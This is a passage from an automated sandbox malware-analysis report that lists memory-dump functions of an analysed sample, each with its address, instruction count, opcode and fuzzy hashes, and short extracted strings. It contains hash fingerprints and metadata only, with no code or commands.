                                                            • Source File: 00000000.00000002.2004211092.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_6f60000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 445f305f790e008df9eaa46d40b4c62b0229b4c2cbc25151f4a16342172ea5f0
                                                            • Instruction ID: 6f759559ce98bdb7b90dc09040fa57db355dfcc2590a4b9e37775ac31906400d
                                                            • Opcode Fuzzy Hash: 445f305f790e008df9eaa46d40b4c62b0229b4c2cbc25151f4a16342172ea5f0
                                                            • Instruction Fuzzy Hash: 8DE086B4909208EFC744DFA4D8419ADBFB8AB45310F10C09AE84457341CA719A41DBA0
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02ED0C81 Relevance: .0, Instructions: 21COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991126043.0000000002ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_2ed0000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: dae3251b96675025617de3c4d713b2ddfc2cd24c7630c66d5a30ff2171d6ffac
                                                            • Instruction ID: 8301e2f56c75f1d1cfb50db340d735b558bc37eb1c9851d78c5cc49dff6d4dc4
                                                            • Opcode Fuzzy Hash: dae3251b96675025617de3c4d713b2ddfc2cd24c7630c66d5a30ff2171d6ffac
                                                            • Instruction Fuzzy Hash: 40E04FB1E00209DFCB44DFA4DA4248D7BF5EF5121471045A9C809E7361E6345F05CB40
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 030A10E0 Relevance: .0, Instructions: 21COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991290543.00000000030A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030A0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_30a0000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: dc79bc34a6abb883cb767e53d5201593edd477f2b0e87bf128e7b27e1bf1f8c1
                                                            • Instruction ID: 4c2a02a2e6da7d4ef422338746cdac56a0dde322280febae0f5c480c287aece1
                                                            • Opcode Fuzzy Hash: dc79bc34a6abb883cb767e53d5201593edd477f2b0e87bf128e7b27e1bf1f8c1
                                                            • Instruction Fuzzy Hash: 8EE01A74D05248EFCB54DFE9E4419ACFBB4EB48310F14C0AAEC4453341CA719A52EB90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 06F78360 Relevance: .0, Instructions: 20COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.2004211092.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_6f60000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 2052759d7230f437efc224606dc8721ab1e3fb75cb5d4334384a9724138c5edf
                                                            • Instruction ID: ac74acd10a741e5b2e561bcd010ee7a64e580fd819e5c59e7e03e38bf2a5281e
                                                            • Opcode Fuzzy Hash: 2052759d7230f437efc224606dc8721ab1e3fb75cb5d4334384a9724138c5edf
                                                            • Instruction Fuzzy Hash: A9E04F34D05208EFC784DFA9D4856ACFBB4EB49310F10C0EAD86853341C6319A41DF80
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 030A1270 Relevance: .0, Instructions: 20COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991290543.00000000030A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030A0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_30a0000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: c499eb5a2f593fc783b3d877904073aac6f306ffc0638f2bfcd4e954d4af7e8e
                                                            • Instruction ID: 74c2413413bd67f3c4afaca36e57cde11d5a249f5eee5e8456dfbc0a97836e8c
                                                            • Opcode Fuzzy Hash: c499eb5a2f593fc783b3d877904073aac6f306ffc0638f2bfcd4e954d4af7e8e
                                                            • Instruction Fuzzy Hash: 20E09A74D05208EFC784DFD9E5416ACFBF4EB49314F1481A9D81897341DA319A55DB81
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 06F7CF80 Relevance: .0, Instructions: 19COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.2004211092.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_6f60000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: c02c8b5290f7b82031eb9cda2e0c2934ef1f18a47eb83377e816d9cf5405312f
                                                            • Instruction ID: a7114143a03c46dc692e4c86b25ccc0ac15946d590693b900785172698b0c278
                                                            • Opcode Fuzzy Hash: c02c8b5290f7b82031eb9cda2e0c2934ef1f18a47eb83377e816d9cf5405312f
                                                            • Instruction Fuzzy Hash: ABE01234D09208DFCB54DFA4E5459ACBBB8EB45314F2091DAD80957345CA315E42DB91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 06F7D118 Relevance: .0, Instructions: 19COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.2004211092.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_6f60000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: c02c8b5290f7b82031eb9cda2e0c2934ef1f18a47eb83377e816d9cf5405312f
                                                            • Instruction ID: 80fe4fcb4e6a6567b3405e0afc8f5ab99db751372146e9747594a405d7862472
                                                            • Opcode Fuzzy Hash: c02c8b5290f7b82031eb9cda2e0c2934ef1f18a47eb83377e816d9cf5405312f
                                                            • Instruction Fuzzy Hash: 49E01234D09208DFD744DFA4E9419ACBBB9EF45314F6091DDD80817341CA715E42DB91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 030A1900 Relevance: .0, Instructions: 19COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991290543.00000000030A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030A0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_30a0000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 804342f999a10b234a5ef81940558c934013dd527d8ed5c9febdb9bbafbbe8b9
                                                            • Instruction ID: 12fc40d3d995482f9c0cb96d529ae03726f6de91fe9d87683c3e4ee3ede7b4e9
                                                            • Opcode Fuzzy Hash: 804342f999a10b234a5ef81940558c934013dd527d8ed5c9febdb9bbafbbe8b9
                                                            • Instruction Fuzzy Hash: A9E0123490A208EBCB48DFE8E5459ACFBB8EB45314F2491E9D80917341CA315F82DB91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 030A035E Relevance: .0, Instructions: 19COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991290543.00000000030A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030A0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_30a0000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 2f99ec568c79aa27cd26c053140f210090076932466c0839d4bc0d369aad7df5
                                                            • Instruction ID: 36f5c6d270d6c040d3c190fa38ec6dfde43421d090da85552293442f9cb8461d
                                                            • Opcode Fuzzy Hash: 2f99ec568c79aa27cd26c053140f210090076932466c0839d4bc0d369aad7df5
                                                            • Instruction Fuzzy Hash: 7EF0397490A658CFDB51CF24D844B8D7BB1FB09304F1841D9D048A7251CA395A868F54
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 030A1EB0 Relevance: .0, Instructions: 17COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991290543.00000000030A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030A0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_30a0000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 4ebb0c91ec4be2d0a765f28d185eae062db807b4b68f257e43a5f6a51d137325
                                                            • Instruction ID: 7a4c811780a31f63176d653e93d4dfc8eb519e71eaa82e9d5f06e42b5dfb2944
                                                            • Opcode Fuzzy Hash: 4ebb0c91ec4be2d0a765f28d185eae062db807b4b68f257e43a5f6a51d137325
                                                            • Instruction Fuzzy Hash: 0DD05E3060A108DBC788DAD9E941A68B7ECDB46314F14949CD80853341CA32AE01C7D0
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02ED2920 Relevance: .0, Instructions: 16COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991126043.0000000002ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_2ed0000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: b52b01e4d20476a4e616aa2a33bd4ea868c9d848d1ed0e31cc44146110b8c4a4
                                                            • Instruction ID: 1c8701a440ac93484e89ec186ceec791c24bcce77d74afd5fdde46756f1f0702
                                                            • Opcode Fuzzy Hash: b52b01e4d20476a4e616aa2a33bd4ea868c9d848d1ed0e31cc44146110b8c4a4
                                                            • Instruction Fuzzy Hash: 40D01230901208EFCF40DFB8D90055DB7B9EB44604B5046A8D809D7300DA316F049740
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02ED0C90 Relevance: .0, Instructions: 16COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991126043.0000000002ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_2ed0000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 4f779a32fb3fa2795c690f77a3b101a7af54a784ed6185d0783addaecd82ac98
                                                            • Instruction ID: 7ae4ef177d270a6ec4c7f600921ee26e32be87b09e12c1ea545da480eb434df8
                                                            • Opcode Fuzzy Hash: 4f779a32fb3fa2795c690f77a3b101a7af54a784ed6185d0783addaecd82ac98
                                                            • Instruction Fuzzy Hash: 85D017B0A0020DEFCB44EFA8EA0295DBBF9EB44614B5042A89C09E7300EA316E049B80
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 030A2238 Relevance: .0, Instructions: 16COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991290543.00000000030A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030A0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_30a0000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 29f21c5b9f3279d241d1570548ede82241a80734506cb037a0ed3a52fc7db65f
                                                            • Instruction ID: 839b78a398fd4d205df549573af0727d36552609d1b3b8d94556078642e1b334
                                                            • Opcode Fuzzy Hash: 29f21c5b9f3279d241d1570548ede82241a80734506cb037a0ed3a52fc7db65f
                                                            • Instruction Fuzzy Hash: 4BD0127058B20CEFC794DAEDE802BADBBACD746711F1069A8A80813260DA715F40D795
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 06F7D508 Relevance: .0, Instructions: 12COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.2004211092.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_6f60000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: b8f694418185746ab814b233ee83a4cb5e8d0c3aa3521456332e0916e7392b3c
                                                            • Instruction ID: cab98ddf00cd9a3cdb7b34e6cad67d7eba7e054e2f5c0f4083cf9431ad620e56
                                                            • Opcode Fuzzy Hash: b8f694418185746ab814b233ee83a4cb5e8d0c3aa3521456332e0916e7392b3c
                                                            • Instruction Fuzzy Hash: 39C02B7004F3058BE3901A9D700C374B39CCF0631DFC42811B70C01014CA7200C0CE90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02ED2AF0 Relevance: .0, Instructions: 8COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991126043.0000000002ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_2ed0000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: ed6af345c691547d3e850e7d46ba6da92fabe809bb71d1dd45a74c73b1e83bfa
                                                            • Instruction ID: d0544efc833d11d12f3b80bb687766011d014808f5cd29b4f186a9b4d3f45be8
                                                            • Opcode Fuzzy Hash: ed6af345c691547d3e850e7d46ba6da92fabe809bb71d1dd45a74c73b1e83bfa
                                                            • Instruction Fuzzy Hash: 46B012302583084AD7605AB22C09B12328C554090C7805420DD0CC0106F651E0004640
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Non-executed Functions

                                                            Function 03090B95 Relevance: 3.9, Strings: 3, Instructions: 102COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991266874.0000000003090000.00000040.00000800.00020000.00000000.sdmp, Offset: 03090000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_3090000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: !$MT4E$b]Oz
                                                            • API String ID: 0-2433778148
                                                            • Opcode ID: 8f207c5ebf61643bd820db382edab9c2a3413374fc4f6758c7ce3734cee71994
                                                            • Instruction ID: 3a730c25bdb04f1ed0079e7af0c29559548bdb4e15fa3fd234edd885fcf09a99
                                                            • Opcode Fuzzy Hash: 8f207c5ebf61643bd820db382edab9c2a3413374fc4f6758c7ce3734cee71994
                                                            • Instruction Fuzzy Hash: A9510370A01215DFDB94CF28E995BA977F1FB49300F5089B9D40AAB750DB39AE85CF40
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03090F03 Relevance: 3.8, Strings: 3, Instructions: 100COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991266874.0000000003090000.00000040.00000800.00020000.00000000.sdmp, Offset: 03090000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_3090000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: $!$MT4E
                                                            • API String ID: 0-3762339715
                                                            • Opcode ID: ea53c050b5ddd7d8c4495b8e321a9d69fe092e46c93713fb4b17946d11f3942a
                                                            • Instruction ID: 2d6217875f33856920dce7e58e48bd5bf7b06978c31383fb3720077959e162ad
                                                            • Opcode Fuzzy Hash: ea53c050b5ddd7d8c4495b8e321a9d69fe092e46c93713fb4b17946d11f3942a
                                                            • Instruction Fuzzy Hash: 99510570A01214DFDB94CF68E994FA977F1EB4A300F1089BAD50AAB750DB39AD85CF41
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 06F60040 Relevance: 2.6, Strings: 2, Instructions: 112COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.2004211092.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_6f60000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: L$h
                                                            • API String ID: 0-876651898
                                                            • Opcode ID: 0792e828b06d044556b91ac2f1fdb697ea5dc7a590232a1eec98e62918a7e792
                                                            • Instruction ID: 18fc3a5256e5354f5822c5167ccaf04edab6c55c15ea74e691af64b9b88ccffc
                                                            • Opcode Fuzzy Hash: 0792e828b06d044556b91ac2f1fdb697ea5dc7a590232a1eec98e62918a7e792
                                                            • Instruction Fuzzy Hash: CE51E874E00229CFDB69DF2AD94469ABBF2BF88300F00C1E9E509A7254DB745E85CF40
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0309049E Relevance: 2.6, Strings: 2, Instructions: 104COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991266874.0000000003090000.00000040.00000800.00020000.00000000.sdmp, Offset: 03090000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_3090000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: !$MT4E
                                                            • API String ID: 0-4129603216
                                                            • Opcode ID: f593f7da11145ea92a1b53819a2c52b0212fc5b286d1ce6f3468f099421b9f8f
                                                            • Instruction ID: 304f6d32a846a54e447f765d687745b93e5da95bee32eaddf8143a4e09eea751
                                                            • Opcode Fuzzy Hash: f593f7da11145ea92a1b53819a2c52b0212fc5b286d1ce6f3468f099421b9f8f
                                                            • Instruction Fuzzy Hash: 8D511670A01214DFDB94CF28E990BA977F2FB49300F1085B9D50AAB750DB396E85CF40
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03090AE7 Relevance: 2.6, Strings: 2, Instructions: 102COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991266874.0000000003090000.00000040.00000800.00020000.00000000.sdmp, Offset: 03090000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_3090000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: !$MT4E
                                                            • API String ID: 0-4129603216
                                                            • Opcode ID: 215f1f1aa178dcc94c6b15a02292d512335800b1da76719e10feff8718737f5b
                                                            • Instruction ID: 1edd2aec9aca0edec77d1ef5d8ad7d20ecda756c9c93701f37c4caf0523ba13d
                                                            • Opcode Fuzzy Hash: 215f1f1aa178dcc94c6b15a02292d512335800b1da76719e10feff8718737f5b
                                                            • Instruction Fuzzy Hash: 74511870A01214DFDB94CF68E995BA977F1FB49300F1085BAD50AAB750DB39AD85CF40
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03090906 Relevance: 2.6, Strings: 2, Instructions: 102COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991266874.0000000003090000.00000040.00000800.00020000.00000000.sdmp, Offset: 03090000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_3090000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: !$MT4E
                                                            • API String ID: 0-4129603216
                                                            • Opcode ID: 6a5bd5b32954490047f833ea755208a4e21d20485b80dd2b41bd54a59536a7ab
                                                            • Instruction ID: a8bc76c6e3e01faa5acffe3c48272ff1f7485a86c674dcbd6ed78e5a5f648935
                                                            • Opcode Fuzzy Hash: 6a5bd5b32954490047f833ea755208a4e21d20485b80dd2b41bd54a59536a7ab
                                                            • Instruction Fuzzy Hash: B9510970A01218DFDB94CF24E995BA977F1EB49300F1085FAD50AAB750DB396E85CF41
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03090FB0 Relevance: 2.6, Strings: 2, Instructions: 102COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991266874.0000000003090000.00000040.00000800.00020000.00000000.sdmp, Offset: 03090000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_3090000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: !$MT4E
                                                            • API String ID: 0-4129603216
                                                            • Opcode ID: f438ca999b15e7bfae38649c0fb9a53395f74d2259c7d78d0c63c890990bccee
                                                            • Instruction ID: 8f2ca67d0b1a28b5763202bffb0535749e252669ee56f494526a7b8207eab5aa
                                                            • Opcode Fuzzy Hash: f438ca999b15e7bfae38649c0fb9a53395f74d2259c7d78d0c63c890990bccee
                                                            • Instruction Fuzzy Hash: 5B512570A01214DFDB94CF68E994BA97BF2FB49300F1085BAD50AAB750DB3A6D85CF40
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03091048 Relevance: 2.6, Strings: 2, Instructions: 101COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991266874.0000000003090000.00000040.00000800.00020000.00000000.sdmp, Offset: 03090000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_3090000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: !$MT4E
                                                            • API String ID: 0-4129603216
                                                            • Opcode ID: 79d116262634d316f4b1f2998ddaddf29fb9fd85bb14cb68ac79c8d146cbce4a
                                                            • Instruction ID: ea877e5e85f11cf18cc12237ab7f5ef60e25672546bf0d62bf34e0d7216671d9
                                                            • Opcode Fuzzy Hash: 79d116262634d316f4b1f2998ddaddf29fb9fd85bb14cb68ac79c8d146cbce4a
                                                            • Instruction Fuzzy Hash: 55512570A01214DFDB90CF68E994BA97BF1FB49300F5085BAD40AAB750DB396E85CF40
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03090730 Relevance: 2.6, Strings: 2, Instructions: 100COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991266874.0000000003090000.00000040.00000800.00020000.00000000.sdmp, Offset: 03090000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_3090000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: !$MT4E
                                                            • API String ID: 0-4129603216
                                                            • Opcode ID: 39b09647b1c36ec01c70ba9fc7c7245600d5fb020434e77c6c43423eabdec0ae
                                                            • Instruction ID: d9b92630b2cb156e397619d209323d92a810f7c1f93f0d2bd79b8492a4190d92
                                                            • Opcode Fuzzy Hash: 39b09647b1c36ec01c70ba9fc7c7245600d5fb020434e77c6c43423eabdec0ae
                                                            • Instruction Fuzzy Hash: 00510670A01214DFDB94CF68E990BA977F1EB49300F5085BAD50AAB750DB396E85CF41
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0309054F Relevance: 2.6, Strings: 2, Instructions: 100COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991266874.0000000003090000.00000040.00000800.00020000.00000000.sdmp, Offset: 03090000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_3090000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: !$MT4E
                                                            • API String ID: 0-4129603216
                                                            • Opcode ID: d04d4f3cf9cb6b9a6f8a816e23463613c52b5ec4bb207919af257146cba78f0a
                                                            • Instruction ID: 5255bf36ec13cf52f8cd2e5f84f59268ff9d169157f1bfa7c54beace410c70d7
                                                            • Opcode Fuzzy Hash: d04d4f3cf9cb6b9a6f8a816e23463613c52b5ec4bb207919af257146cba78f0a
                                                            • Instruction Fuzzy Hash: 1F511470A01214DFDB94CF68E995BAA77F1EB49300F5085B9D40AAB750CB39AE85CF40
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03090C46 Relevance: 2.6, Strings: 2, Instructions: 100COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991266874.0000000003090000.00000040.00000800.00020000.00000000.sdmp, Offset: 03090000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_3090000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: !$MT4E
                                                            • API String ID: 0-4129603216
                                                            • Opcode ID: 1f6bd33ac234b2c45f73ba6feba7a0fb26b60930bb4a80e2186a9f45561443b5
                                                            • Instruction ID: 339a2c28af04f266882ce801ba831f4383037c5318c61b82e66c6bab060cf80c
                                                            • Opcode Fuzzy Hash: 1f6bd33ac234b2c45f73ba6feba7a0fb26b60930bb4a80e2186a9f45561443b5
                                                            • Instruction Fuzzy Hash: 99511670A01214DFDB94CF28E991FA977F1EB49300F5085B9D50AAB750DB39AE89CF40
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02ED2287 Relevance: 1.6, Strings: 1, Instructions: 385COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991126043.0000000002ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_2ed0000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: LR^q
                                                            • API String ID: 0-2625958711
                                                            • Opcode ID: 942bf051e889d73c4f105166d8e8f7b1db421f045edf1a73183276c55d59cad5
                                                            • Instruction ID: 78b789b7dada994962f74d2c001892fc403f660922c69f9c7006616c0a889b0f
                                                            • Opcode Fuzzy Hash: 942bf051e889d73c4f105166d8e8f7b1db421f045edf1a73183276c55d59cad5
                                                            • Instruction Fuzzy Hash: F9F17171E041658FDB24CF68C894BADBBF2BF88304F19C1A9D419AB256C734AD82CF50
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02ED2383 Relevance: 1.5, Strings: 1, Instructions: 217COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991126043.0000000002ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_2ed0000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: LR^q
                                                            • API String ID: 0-2625958711
                                                            • Opcode ID: c7aa73f801830b74c9998a6c73b803da2a9b7c7ec17550f70e9d99d86434c5eb
                                                            • Instruction ID: f698654969d8636ce9272fa7f1986dff3c95b47ab2354ee9d1ce4c06f99e401e
                                                            • Opcode Fuzzy Hash: c7aa73f801830b74c9998a6c73b803da2a9b7c7ec17550f70e9d99d86434c5eb
                                                            • Instruction Fuzzy Hash: 72916171E401198FDB24CF68C890BADB7B2BF88314F19C5A9D519AB656D734AD82CF80
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0309E510 Relevance: 1.4, Strings: 1, Instructions: 127COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991266874.0000000003090000.00000040.00000800.00020000.00000000.sdmp, Offset: 03090000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_3090000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: <
                                                            • API String ID: 0-4251816714
                                                            • Opcode ID: 3391aecb3c18414065e3e9f19950119b2cc22a9dd5a6542b628439becfc52a5d
                                                            • Instruction ID: 9c6bd18d0b41c9852eed30265e1e7b582345d55f8193d776653c993d43bb9ec0
                                                            • Opcode Fuzzy Hash: 3391aecb3c18414065e3e9f19950119b2cc22a9dd5a6542b628439becfc52a5d
                                                            • Instruction Fuzzy Hash: 8D51DE70D02269DFEB64CF6AD844BEDBBF6AB89301F14C4EAD409A6251E7344E85CF10
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0309E500 Relevance: 1.4, Strings: 1, Instructions: 120COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991266874.0000000003090000.00000040.00000800.00020000.00000000.sdmp, Offset: 03090000, based on PE: false
                                                            Joe Sandbox IDA Plugin
